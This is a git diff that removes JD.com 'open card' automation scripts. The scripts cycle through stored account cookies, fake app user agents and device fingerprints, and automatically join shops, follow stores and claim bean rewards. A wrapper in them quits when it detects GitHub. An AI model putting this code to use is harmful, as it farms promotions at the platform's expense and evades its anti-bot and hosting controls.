finally { - resolve(data.data); - } - }) - }) -} - -function getSimpleActInfoVo() { - return new Promise(resolve => { - $.post({ - url: `https://lzdz1-isv.isvjcloud.com/dz/common/getSimpleActInfoVo`, - body: `activityId=${$.activityId}`, - headers: { - 'User-Agent': $.UA, - 'Content-Type':'application/x-www-form-urlencoded', - 'Host':'lzdz1-isv.isvjcloud.com', - 'Referer':`https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/2611148?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, - 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE};`, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // console.log(data) - data = $.toObj(data) - if(typeof data === 'object'){ - if(data.result == true && typeof data.data === 'object'){ - $.shopId = data.data.shopId - $.venderId = data.data.venderId - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function getHtml() { - //await $.wait(20) - return new Promise(resolve => { - $.get({ - url: `https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/2611148?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, - headers: { - 'User-Agent': $.UA, - 'Host':'lzdz1-isv.isvjcloud.com', - 'X-Requested-With': 'com.jingdong.app.mall', - 'Cookie': `IsvToken=${$.isvObfuscatorToken}; LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.secretPin}; ${$.lz_jdpin_token}`, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -function adLog() { - return new Promise(resolve => { - let pageurl = `https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/2611148?activityId=${$.activityId}&shareUuid=${$.shareUuid}` - $.post({ - url: `https://lzdz1-isv.isvjcloud.com/common/accessLogWithAD`, - body: `venderId=${$.venderId}&code=99&pin=${encodeURIComponent($.myPingData.secretPin)}&activityId=${$.activityId}&pageUrl=${encodeURIComponent(pageurl)}&subType=APP&adSource=null`, - headers: { - 'User-Agent': $.UA, - 'Host':'lzdz1-isv.isvjcloud.com', - 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', - 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // data = JSON.parse(data); - let setcookies = resp['headers']['set-cookie'] || resp['headers']['Set-Cookie'] || '' - let setcookie = '' - if(setcookies){ - if(typeof setcookies != 'object'){ - setcookie = setcookies.split(',') - }else setcookie = setcookies - let LZ_TOKEN_KEY = setcookie.filter(row => row.indexOf("LZ_TOKEN_KEY") !== -1)[0] - if(LZ_TOKEN_KEY && LZ_TOKEN_KEY.indexOf("LZ_TOKEN_KEY=") > -1){ - $.LZ_TOKEN_KEY = LZ_TOKEN_KEY.split(';') && (LZ_TOKEN_KEY.split(';')[0]) || '' - $.LZ_TOKEN_KEY = $.LZ_TOKEN_KEY.replace('LZ_TOKEN_KEY=','') - } - let LZ_TOKEN_VALUE = setcookie.filter(row => row.indexOf("LZ_TOKEN_VALUE") !== -1)[0] - if(LZ_TOKEN_VALUE && LZ_TOKEN_VALUE.indexOf("LZ_TOKEN_VALUE=") > -1){ - $.LZ_TOKEN_VALUE = LZ_TOKEN_VALUE.split(';') && (LZ_TOKEN_VALUE.split(';')[0]) || '' - $.LZ_TOKEN_VALUE = $.LZ_TOKEN_VALUE.replace('LZ_TOKEN_VALUE=','') - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -function drawContent() { - return new Promise(resolve => { - $.post({ - url: `https://lzdz1-isv.isvjcloud.com/dingzhi/taskact/openCardcommon/drawContent`, - body: `activityId=${$.activityId}&pin=${encodeURIComponent($.myPingData.secretPin)}`, - headers: { - 'User-Agent': $.UA, - 'Host':'lzdz1-isv.isvjcloud.com', - 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', - 'Referer':`https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/2611148?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, - 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function getUserInfo() { - return new Promise(resolve => { - $.post({ - url: `https://lzdz1-isv.isvjcloud.com/wxActionCommon/getUserInfo`, - body: `pin=${encodeURIComponent($.myPingData.secretPin)}`, - headers: { - 'User-Agent': $.UA, - 'Host':'lzdz1-isv.isvjcloud.com', - 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', - 'Referer': `https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/2611148?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, - 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if(data.count === 0 && data.result){ - $.attrTouXiang = data.data.yunMidImageUrl - != data.data.yunMidImageUrl ? $.attrTouXiang = data.data.yunMidImageUrl : $.attrTouXiang = "https://img10.360buyimg.com/imgzone/jfs/t1/7020/27/13511/6142/5c5138d8E4df2e764/5a1216a3a5043c5d.png" - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function getActorUuid() { - return new Promise(resolve => { - $.post({ - url: `https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activityContent`, - body: `activityId=${$.activityId}&pin=${encodeURIComponent($.myPingData.secretPin)}&pinImg=${encodeURIComponent($.attrTouXiang)}&nick=${encodeURIComponent($.myPingData.nickname)}&cjyxPin=&cjhyPin=&shareUuid=${$.shareUuid}`, - headers: { - 'User-Agent': $.UA, - 'Host':'lzdz1-isv.isvjcloud.com', - 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', - "Referer": `https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/2611148?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, - 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // console.log(data) - data = JSON.parse(data); - $.followShop = data.data.followShop.allStatus - $.addSku = data.data.addSku.allStatus - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data.data.actorUuid); - } - }) - }) -} - - -function taskPostUrl(url, body) { - return { - url: `https://lzdz1-isv.isvjcloud.com${url}`, - body: body, - headers: { - "Host": "lzdz1-isv.isvjcloud.com", - "Accept": "application/json", - "X-Requested-With": "XMLHttpRequest", - "Accept-Language": "zh-cn", - "Accept-Encoding": "gzip, deflate, br", - "Content-Type": "application/x-www-form-urlencoded", - "Origin": "https://lzdz1-isv.isvjcloud.com", - "Connection": "keep-alive", - "Referer": `https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/2611148?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, - "User-Agent": $.UA , - 'Cookie': `${cookie} LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, - } - } -} - -function getUA(){ - $.UA = `jdapp;iPhone;10.0.10;14.3;${randomString(40)};network/wifi;model/iPhone12,1;addressid/4199175193;appBuild/167741;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` -} -function randomString(e) { - e = e || 32; - let t = "abcdefhijkmnprstwxyz2345678", a = t.length, n = ""; - for (i = 0; i < e; i++) - n += t.charAt(Math.floor(Math.random() * a)); - return n -} - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} - - diff --git a/backUp/gua_opencard6.js b/backUp/gua_opencard6.js deleted file mode 100644 index 04d8cfd..0000000 --- a/backUp/gua_opencard6.js +++ /dev/null @@ -1,525 +0,0 @@ -/* -七夕告白季-开卡 [gua_opencard6.js] -———————————————— -跑此脚本需要添加依赖文件[sign_graphics_validate.js] - -新增开卡脚本 -一次性脚本 - -没有邀请助力 -没有邀请助力 -没有邀请助力 - -一个号最长可能要跑5分钟 - -开5组卡(9+9+9+9+7) 共43个卡 每个卡10京豆 (如果在别的地方开过卡 则在这不能开卡 故没有京豆 -2个日常任务 有浏览、关注、加购 (每次1京豆 关注和加购可以多次 -(默认不加购 如需加购请设置环境变量[guaopencard_addSku6]为"true" -做完浏览、关注、加购 可以领取50京豆 - -默认脚本不执行 -如需执行脚本请设置环境变量 -guaopencard6="true" - -———————————————— -因需要加载依赖文件 -所有不支持手机软件(Quantumultx、Loon、Surge、小火箭等 -———————————————— -入口:[七夕告白季-开卡 (https://3.cn/-1ie6CsW)] - -30 0,8 * 8 * https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard6.js, tag=七夕告白季-开卡, enabled=true -*/ -const $ = new Env('七夕告白季-开卡'); -const Faker=require('./sign_graphics_validate.js') -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; - -const notify = $.isNode() ? require('./sendNotify') : ''; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], - cookie = ''; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -let guaopencard_addSku = false -const JD_API_HOST = `https://api.m.jd.com/client.action`; -message = "" -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { - "open-url": "https://bean.m.jd.com/" - }); - return; - } - if ($.isNode()) { - if (!process.env.guaopencard6 || process.env.guaopencard6 == "false") { - console.log('如需执行脚本请设置环境变量[guaopencard6]为"true"') - return - } - guaopencard_addSku = process.env.guaopencard_addSku6 - if (!process.env.guaopencard_addSku6 || process.env.guaopencard_addSku6 == "false") { - console.log('如需加购请设置环境变量[guaopencard_addSku6]为"true"') - } - } - console.log(`入口:\nhttps://3.cn/-1ie6CsW`) - for (let i = 0; i < cookiesArr.length; i++) { - cookie = cookiesArr[i]; - if (cookie) { - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - await getUA() - $.nickName = ''; - console.log(`\n\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - await run(); - } - } -})() - .catch((e) => $.logErr(e)) - .finally(() => $.done()) - - -async function run() { - try { - await getHtml(); - await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) - if(!$.fp || !$.eid){ - $.log("获取活动信息失败!") - return - } - let config = [ - // {configCode:'601189050083447fbb6c6f33831863ae',configName:'七夕美妆联合开卡第二组'}, - // {configCode:'efe66286334f4b47a95a2c756ff637af',configName:'七夕联合开卡第五组'}, - - {configCode:'d9de88cd314b4455859027978a7abb68',configName:'七夕联合开卡第一组'}, - {configCode:'ec46a109054a463395c5666694908d5a',configName:'七夕联合开卡第2组 新'}, - {configCode:'c8240993509a49da9b53645084a69e12',configName:'七夕任务组件1-2组'}, - {configCode:'9af170296a9f4bce8268eb5c813bb359',configName:'七夕联合开卡第三组'}, - {configCode:'4f6dac3a61084e23bf9bcad9360987d8',configName:'七夕联合开卡第4组'}, - {configCode:'af1ac7eba89c4b089c1d6976988e1013',configName:'七夕联合开卡第5组 新'}, - {configCode:'abe6bafe2f6b4efca6ba5b429daf5f26',configName:'七夕任务组件3-5组'} - ] - for(let i in config){ - $.hotFlag = false - let item = config[i] - $.task = '' - $.taskList = [] - $.taskInfo = '' - let q = 5 - for(m=1;q--;m++){ - if($.task == '') await getActivity(item.configCode,item.configName,0) - if($.task || $.hotFlag) break - } - if($.hotFlag) continue; - if($.task.showOrder){ - console.log(`\n[${item.configName}] ${$.task.showOrder == 2 && '日常任务' || $.task.showOrder == 1 && '开卡' || '未知活动类型'} ${($.taskInfo.rewardStatus == 2) && '全部完成' || ''}`) - if($.taskInfo.rewardStatus == 2) continue; - $.taskList = $.task.memberList || $.task.taskList || [] - $.oneTask = '' - for (let i = 0; i < $.taskList.length; i++) { - $.oneTask = $.taskList[i]; - if($.task.showOrder == 1){ - console.log(`${$.oneTask.cardName} ${0 == $.oneTask.result ? "开卡得" + $.oneTask.rewardQuantity + "京豆" : 1 == $.oneTask.result ? "领取" + $.oneTask.rewardQuantity + "京豆" : 3 == $.oneTask.result ? "其他渠道入会" : "已入会"}`) - if($.oneTask.result == 0) await statistic(`{"activityType":"module_task","groupType":7,"configCode":"${item.configCode}","itemId":${$.oneTask.cardId}}`) - if($.oneTask.result == 0) await join($.oneTask.venderId) - await $.wait(parseInt(Math.random() * 1000 + 500, 10)) - if($.oneTask.result == 1 || $.oneTask.result == 0) await getReward(`{"configCode":"${item.configCode}","groupType":7,"itemId":${$.oneTask.cardId},"eid":"${$.eid}","fp":"${$.fp}"}`) - }else if($.task.showOrder == 2){ - $.cacheNum = 0 - $.doTask = false - let name = `${1 == $.oneTask.groupType ? "关注并浏览店铺" : 2 == $.oneTask.groupType ? "加购并浏览商品" : 3 == $.oneTask.groupType ? "关注并浏览频道" : 6 == $.oneTask.groupType ? "浏览会场" : "未知"}` - let msg = `(${$.oneTask.finishCount}/${$.oneTask.taskCount})` - let status = `${$.oneTask.finishCount >= $.oneTask.taskCount && '已完成' || "去" + (1 == $.oneTask.groupType ? "关注" : 2 == $.oneTask.groupType ? "加购" : 3 == $.oneTask.groupType ? "关注" : 6 == $.oneTask.groupType ? "浏览" : "做任务")}` - console.log(`${name}${msg} ${status}`) - if(guaopencard_addSku+"" != "true" && 2 == $.oneTask.groupType) console.log('如需加购请设置环境变量[guaopencard_addSku6]为"true"\n'); - if(guaopencard_addSku+"" != "true" && 2 == $.oneTask.groupType) continue; - if($.oneTask.finishCount < $.oneTask.taskCount){ - await doTask(`{"configCode":"${item.configCode}","groupType":${$.oneTask.groupType},"itemId":"${$.oneTask.item.itemId}","eid":"${$.eid}","fp":"${$.fp}"}`) - let c = $.oneTask.taskCount - $.oneTask.finishCount - 1 - for(n=2;c--;n++){ - console.log(`第${n}次`) - await getActivity(item.configCode,item.configName,$.oneTask.groupType) - $.oneTasks = '' - let q = 3 - for(m=1;q--;m++){ - if($.oneTasks == '') await getActivity(item.configCode,item.configName,$.oneTask.groupType) - if($.oneTasks) break - } - if($.oneTasks){ - c = $.oneTasks.taskCount - $.oneTasks.finishCount - if($.oneTasks.item.itemId == $.oneTask.item.itemId){ - n--; - console.log(`数据缓存中`) - $.cacheNum++; - if($.cacheNum > 5) console.log('请重新执行脚本,数据缓存问题'); - if($.cacheNum > 5) break; - await getUA() - await $.wait(parseInt(Math.random() * 1000 + 3000, 10)) - await getHtml(); - }else{ - $.cacheNum = 0 - } - if($.oneTasks.item.itemId != $.oneTask.item.itemId && $.oneTasks.finishCount < $.oneTasks.taskCount) await doTask(`{"configCode":"${item.configCode}","groupType":${$.oneTasks.groupType},"itemId":"${$.oneTasks.item.itemId}","eid":"${$.eid}","fp":"${$.fp}"}`) - }else{ - n--; - } - } - } - }else{ - console.log('未知活动类型') - } - } - if($.task.showOrder == 2){ - if($.doTask){ - $.taskInfo = '' - let q = 5 - for(m=1;q--;m++){ - if($.taskInfo == '') await getActivity(item.configCode,item.configName,-1) - if($.taskInfo) break - } - } - if($.taskInfo.rewardStatus == 1) await getReward(`{"configCode":"${item.configCode}","groupType":5,"itemId":1,"eid":"${$.eid}","fp":"${$.fp}"}`,1) - } - } - await $.wait(parseInt(Math.random() * 1000 + 1000, 10)) - } - - } catch (e) { - console.log(e) - } -} -function getActivity(code,name,flag) { - return new Promise(async resolve => { - $.get({ - url: `https://jdjoy.jd.com/module/task/v2/getActivity?configCode=${code}&eid=${$.eid}&fp=${$.fp}`, - headers: { - 'Accept': 'application/json, text/plain, */*', - 'Content-Type':'application/json;charset=utf-8', - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - 'Cookie': cookie, - 'User-Agent': $.UA, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // console.log(data) - res = $.toObj(data) - if(typeof res == 'object'){ - if(res.success == true && res.data.pass == true){ - if(flag == 0){ - $.task = res.data.memberTask || res.data.dailyTask || [] - $.taskInfo = res.data.moduleBaseInfo || res.data.moduleBaseInfo || [] - }else if(flag == -1){ - $.taskInfo = res.data.moduleBaseInfo || res.data.moduleBaseInfo || {} - }else if(flag == 1 || flag == 2){ - for(let i of res.data.dailyTask.taskList){ - if(i.groupType == flag){ - $.oneTasks = i - break - } - } - }else{ - console.log('活动-未知类型') - } - }else if(res.data.pass == false){ - console.log(`活动[${name}]活动太火爆了,请稍后再试~`) - $.hotFlag = true - }else{ - console.log(`活动[${name}]获取失败\n${data}`) - if(flag > 0) await getHtml(); - await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function doTask(body) { - return new Promise(async resolve => { - $.post({ - url: `https://jdjoy.jd.com/module/task/v2/doTask`, - body, - headers: { - 'Accept': 'application/json, text/plain, */*', - "Accept-Encoding": "gzip, deflate, br", - 'Content-Type':'application/json;charset=UTF-8', - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - 'Cookie': cookie, - 'User-Agent': $.UA, - } - }, async (err, resp, data) => { - $.doTask = true - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - await $.wait(parseInt(Math.random() * 1000 + 500, 10)) - // console.log(data) - res = $.toObj(data) - if(typeof res == 'object'){ - if(res.success == true){ - console.log(`领奖成功:${$.oneTask.rewardQuantity}京豆`) - }else{ - console.log(`${res.errorMessage}`) - } - } - - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function getReward(body, flag = 0) { - return new Promise(async resolve => { - $.post({ - url: `https://jdjoy.jd.com/module/task/v2/getReward`, - body, - headers: { - 'Accept': 'application/json, text/plain, */*', - "Accept-Encoding": "gzip, deflate, br", - 'Content-Type':'application/json;charset=UTF-8', - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - 'Cookie': cookie, - 'User-Agent': $.UA, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // console.log(data) - res = $.toObj(data) - if(typeof res == 'object'){ - if(res.success == true){ - console.log(`领奖成功:${flag == 1 && $.taskInfo.rewardFinish || $.oneTask.rewardQuantity}京豆`) - }else{ - console.log(`${res.errorMessage}`) - } - } - - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -function statistic(body) { - return new Promise(async resolve => { - $.post({ - url: `https://jdjoy.jd.com/module/task/data/statistic`, - body, - headers: { - 'Accept': 'application/json, text/plain, */*', - "Accept-Encoding": "gzip, deflate, br", - 'Content-Type':'application/json;charset=UTF-8', - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - 'Cookie': cookie, - 'User-Agent': $.UA, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // console.log(data) - - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function join(venderId) { - return new Promise(async resolve => { - $.shopactivityId = '' - await $.wait(1000) - await getshopactivityId(venderId) - $.get(ruhui(`${venderId}`), async (err, resp, data) => { - try { - // console.log(data) - data = JSON.parse(data); - if(data.success == true){ - $.log(data.message) - 